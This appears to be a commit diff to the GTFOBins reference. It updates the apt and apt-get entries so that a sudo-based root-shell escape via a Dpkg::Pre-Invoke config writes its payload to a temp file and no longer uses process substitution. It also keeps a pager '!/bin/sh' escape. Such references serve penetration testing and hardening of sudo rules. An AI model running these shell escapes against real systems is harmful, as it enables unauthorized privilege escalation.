Fix apt* shell

The Bash process substitution doesn't work (anymore?).

_gtfobins/apt-get.md

@@ -11,5 +11,8 @@ functions:
         sudo apt-get changelog apt
         !/bin/sh
     - description: For this to work the target package (e.g., `sl`) must not be installed.
-      code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
+      code: |
+        TF=$(mktemp)
+        echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
+        sudo apt-get install -c $TF sl
 ---

_gtfobins/apt.md

@@ -11,5 +11,8 @@ functions:
         sudo apt-get changelog apt
         !/bin/sh
     - description: For this to work the target package (e.g., `sl`) must not be installed.
-      code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
+      code: |
+        TF=$(mktemp)
+        echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
+        sudo apt install -c $TF sl
 ---